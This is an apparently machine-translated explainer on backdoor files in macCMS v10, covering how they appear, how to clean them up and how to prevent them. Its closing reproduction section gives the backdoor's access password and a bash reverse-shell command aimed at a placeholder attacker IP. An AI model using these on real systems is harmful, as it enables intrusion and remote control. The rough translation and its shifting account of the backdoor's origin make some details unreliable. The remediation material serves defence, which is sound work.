Apple CMS Vulnerability: Analysis of active.php and system.php Files in macCMS

maccmsThe /application/extra directory suddenly contains two files: active.php and system.php. Is this a vulnerability? How can I fix this? How are these two files generated?

These files (located in the /application/extra/ directory) are macCMS (Apple CMS) in version 10Hidden backdoor filesThis is a common CMS backdoor vulnerability. It can cause malicious code (such as UTF-8/Base64 decoding functions and external script loading) to be injected into JavaScript files within website templates, leading to Trojan horse (advertising or malicious script injection), data theft, or further intrusion. This vulnerability is not randomly generated but intentionally introduced through CMS design or update mechanisms, disproportionately affecting users of pirated or outdated versions.

How are these files generated?

• Generation MechanismThese files are typically automatically injected when installing or updating a CMS, particularly after the addition of the comics module in version 10 (e.g., 2025.1000.4050). When logging in, system.php executes and releases more complex backdoor logic. active.php is associated with activation/login behavior, resulting in malicious code being injected into the bottom of all .js files in the template directory. This can originate from:
  • The author deliberately inserted: Introduced by the macCMS author (magicblack) in the GitHub repository for "maintenance" or control, but is considered a backdoor.
  • Automatic update vulnerability: The automatic update function of pirated or pro/com versions will download these files from malicious sources, bypassing WAF and anti-tampering detection.
  • Other entrances: Combined with the remote code execution (CVE-2017-17733) or SQL injection vulnerability of CMS, these files can be further generated or executed.
• Trigger Conditions: Executed when logging into the backend for the first time or when the module is activated. The file size is about 42KB (active.php), and it will dynamically load external scripts.

Workaround

Immediately take the following steps to clean up and repair (back up your website and database before proceeding):

1. Delete or rename the backdoor file:
   • Go to the /application/extra/ directory and find active.php and system.php.
   • Rename them (e.g. active__.php, system__.php) without changing permissions. This will immediately break the backdoor logic without affecting the normal operation of the CMS.
2. Cleaning injected malicious code:
   • Check all .js files under the template directory (usually /template/ or /static/) and search for injected code (such as Base64 decoding or external src loading).
   • Use tools (such as grep) to scan: grep -r "base64\|utf-8\|freeob" /path/to/template/*.js.
   • Delete or restore a clean version of the backup.
3. Enhanced permissions:
   • Set the template.js file permissions to 555 (read-only): chmod 555 /path/to/template/*.js.
   • The backend PHP files remain 644/755 to support configuration.
   • Enable server anti-tampering (such as "File Anti-tampering" in the Baota panel) and monitor changes in /application/extra/.
4. Update CMS and fix vulnerabilities:
   • Switch to the official GitHub open source version (https://github.com/magicblack/maccms10), update to the latest stable version (avoid pro/com versions are automatically updated).
   • Apply the official patch: disable automatic updates and change all maccms.com related links in the player configuration to empty.
   • Scan the entire site: Use D-Shield, Hippo Cloud, or ClamAV to scan for Trojans (command: clamscan -r /path/to/site).
5. Preventive measures:
   • Update all components (PHP, MySQL) and disable unnecessary modules.
   • Monitor logs: Check /application/logs/ or the server error.log and search for abnormal logins.
   • If you are using a shared host, check for upstream vulnerabilities; it is recommended to migrate to a VPS and use a WAF (such as ModSecurity).

After the fix, test backend login and frontend JS loading to ensure they function correctly. If the issue persists, refer to the GitHub issue for discussion or consult a professional security service. Keeping your CMS updated is crucial to prevent similar backdoors from recurring.

Detailed explanation of macCMS active.php and system.php backdoor injection methods

warnThe following content is for security research, education, and vulnerability remediation purposes only. Injecting or exploiting backdoors is illegal and may result in legal consequences or server compromise. Please delete these files immediately and switch to the official open-source version of macCMS (magicblack/maccms10 on GitHub). If your site is affected, a professional security audit is recommended.

From the perspective of security analysis, active.php and system.php are hidden backdoor files in macCMS v10, usually throughDownloading infected installation packages from fake official websitesInjection. These files, located in the /application/extra/ directory, are approximately 42KB in size (active.php). They contain obfuscated PHP code using ROT13 encoding, pack('H*') hexadecimal decoding, and eval() to execute malicious logic. These files are triggered upon login or module activation, injecting malicious JavaScript into template files (.js), enabling Trojan horse penetration or remote control.

Injection generation mechanism

These files are not dynamically generated through traditional vulnerabilities such as SQL injection, butStatic implantIn the installation package:

• source: Users download the v10 package (e.g., maccms10.zip) from a fake "Apple CMS official website" (such as the fake maccms.com website). These files are already pre-installed in the package.
• Triggering process:
  1. Unzip the installation package to the server (/wwwroot/maccms/).
  2. Run the installation script (install.php) and the configuration files (such as database.php) to load the extra directory.
  3. When logging into the backend (admin.php) for the first time or activating a module, system.php is executed and calls active.php to release the backdoor.
• Why generateThe author (or hacker) exploits the CMS's automatic update feature and downloads files from a malicious source. During the update, files are overwritten and injected. This is common with pirated versions; the official GitHub version does not have this issue.

Specific steps to reproduce (educational purposes, local environment required)

1. Environment Construction:
   • Download the backdoored v10 package (simulated from the security report, not a real download).
   • Ubuntu + Apache/Nginx + PHP 7.4 + MySQL 5.7.
   • Unzip it to /var/www/html/maccms/ and set the permissions: chmod -R 755 .
2. Manual injection simulation(If non-toxic package):
   • Create /application/extra/active.php and system.php and copy the obfuscated code (see below).
   • Modify /application/database.php or /application/route.php to add a backdoor block (eg, append ).
   • Backstage login trigger: access http://localhost/maccms/admin.php, system.php The template directory will be scanned and injected into JS.
3. Exploiting the backdoor:
   • After logging in to the backend, visit http://localhost/maccms/application/extra/system.php?pass=WorldFilledWithLove (MD5 Password 0d41c75e2ab34a3740834cdd7e066d90).
   • Execute the command to rebound the shell: nc -lvvp 777 to listen, system.php sends system('bash -i >& /dev/tcp/attacker_ip/777 0>&1');.